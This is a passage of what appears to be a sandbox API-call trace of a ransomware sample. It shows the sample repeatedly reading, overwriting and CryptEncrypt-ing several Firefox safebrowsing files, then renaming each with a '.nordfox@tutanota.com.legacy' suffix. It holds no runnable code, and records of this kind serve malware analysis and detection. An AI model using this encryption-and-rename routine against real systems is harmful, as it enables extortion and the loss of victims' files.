hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0177.760] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.760] WriteFile (in: hFile=0x1a4c, lpBuffer=0x619440*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfc, lpOverlapped=0x0) returned 1 [0177.761] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfc [0177.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.761] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.761] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.762] CloseHandle (hObject=0x1a4c) returned 1 [0177.762] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0177.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset", dwFileAttributes=0x80) returned 1 [0177.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5b00 [0177.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618bb8 [0177.764] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20240, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20240*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.765] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.765] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20150*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20150*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.765] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.766] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.766] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.766] CloseHandle (hObject=0x1a4c) returned 1 [0177.766] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.768] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.768] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0177.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca9a0 [0177.769] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a6c0 [0177.770] ReadFile (in: hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0x3d686, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d686, lpOverlapped=0x0) returned 1 [0177.827] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-251526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.828] WriteFile (in: hFile=0x1a4c, lpBuffer=0x34776a0*, nNumberOfBytesToWrite=0x3d686, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34776a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d686, lpOverlapped=0x0) returned 1 [0177.832] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d686 [0177.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.833] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.833] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.833] CloseHandle (hObject=0x1a4c) returned 1 [0177.833] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.835] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0177.835] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset", dwFileAttributes=0x80) returned 1 [0177.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca8b8 [0177.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a6c0 [0177.838] ReadFile (in: hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0x42c02, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x42c02, lpOverlapped=0x0) returned 1 [0177.918] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-273410, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.918] WriteFile (in: hFile=0x1a4c, lpBuffer=0x347cc20*, nNumberOfBytesToWrite=0x42c02, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347cc20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42c02, lpOverlapped=0x0) returned 1 [0177.922] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42c02 [0177.922] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.923] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.923] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.923] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.923] CloseHandle (hObject=0x1a4c) returned 1 [0177.924] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.926] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.926] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0177.926] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0177.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca348 [0177.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a008 [0177.934] ReadFile (in: hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0x4b542, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b542, lpOverlapped=0x0) returned 1 [0178.168] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-308546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.168] WriteFile (in: hFile=0x1a4c, lpBuffer=0x3485560*, nNumberOfBytesToWrite=0x4b542, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3485560*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b542, lpOverlapped=0x0) returned 1 [0178.172] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b542 [0178.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.173] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.173] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.173] CloseHandle (hObject=0x1a4c) returned 1 [0178.173] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0178.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.216] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset", dwFileAttributes=0x80) returned 1 [0178.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c92f8 [0178.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a568 [0178.217] ReadFile (in: hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0x50d38, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x50d38, lpOverlapped=0x0) returned 1 [0178.240] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-331064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.240] WriteFile (in: hFile=0x1a4c, lpBuffer=0x348ad50*, nNumberOfBytesToWrite=0x50d38, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x348ad50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50d38, lpOverlapped=0x0) returned 1 [0178.245] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50d38 [0178.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.245] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.246] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.246] CloseHandle (hObject=0x1a4c) returned 1 [0178.246] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.248] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0178.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca348 [0178.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a6c0 [0178.255] ReadFile (in: hFile=0x1a4c, lpBuffer=0x6f0020, nNumberOfBytesToRead=0x87d82, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f0020*, lpNumberOfBytesRead=0x2e1f9bc*=0x87d82, lpOverlapped=0x0) returned 1 [0178.303] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-556418, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.303] WriteFile (in: hFile=0x1a4c, lpBuffer=0x3522020*, nNumberOfBytesToWrite=0x87d82, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3522020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x87d82, lpOverlapped=0x0) returned 1 [0178.308] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x87d82 [0178.308] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.308] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.309] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.309] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.309] CloseHandle (hObject=0x1a4c) returned 1 [0178.309] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.311] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0178.311] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0178.311] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset", dwFileAttributes=0x80) returned 1 [0178.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca260 [0178.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609c00 [0178.313] ReadFile (in: hFile=0x1a4c, lpBuffer=0x343a010, nNumberOfBytesToRead=0x5b40e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x5b40e, lpOverlapped=0x0) returned 1 [0178.334] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-373774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.334] WriteFile (in: hFile=0x1a4c, lpBuffer=0x3495428*, nNumberOfBytesToWrite=0x5b40e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3495428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5b40e, lpOverlapped=0x0) returned 1 [0178.339] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5b40e [0178.339] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.339] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.339] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.340] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.340] CloseHandle (hObject=0x1a4c) returned 1 [0178.340] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-malware-shavar.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: 